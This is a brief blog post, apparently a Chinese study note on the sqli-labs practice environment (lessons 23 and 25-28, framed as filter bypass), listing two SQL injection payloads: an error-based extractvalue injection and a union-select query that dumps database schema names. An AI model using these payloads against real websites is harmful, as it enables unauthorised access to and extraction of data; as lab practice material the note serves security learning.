sqli-labs:23/25-28,绕waf

sqli23:

 

and|or型报错

' or extractvalue(1,concat(0x7e,database())) or '1'='1

union型嵌套select

' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

 

posted @ 2019-03-24 20:11  p0pl4r  阅读(95)  评论(0编辑  收藏  举报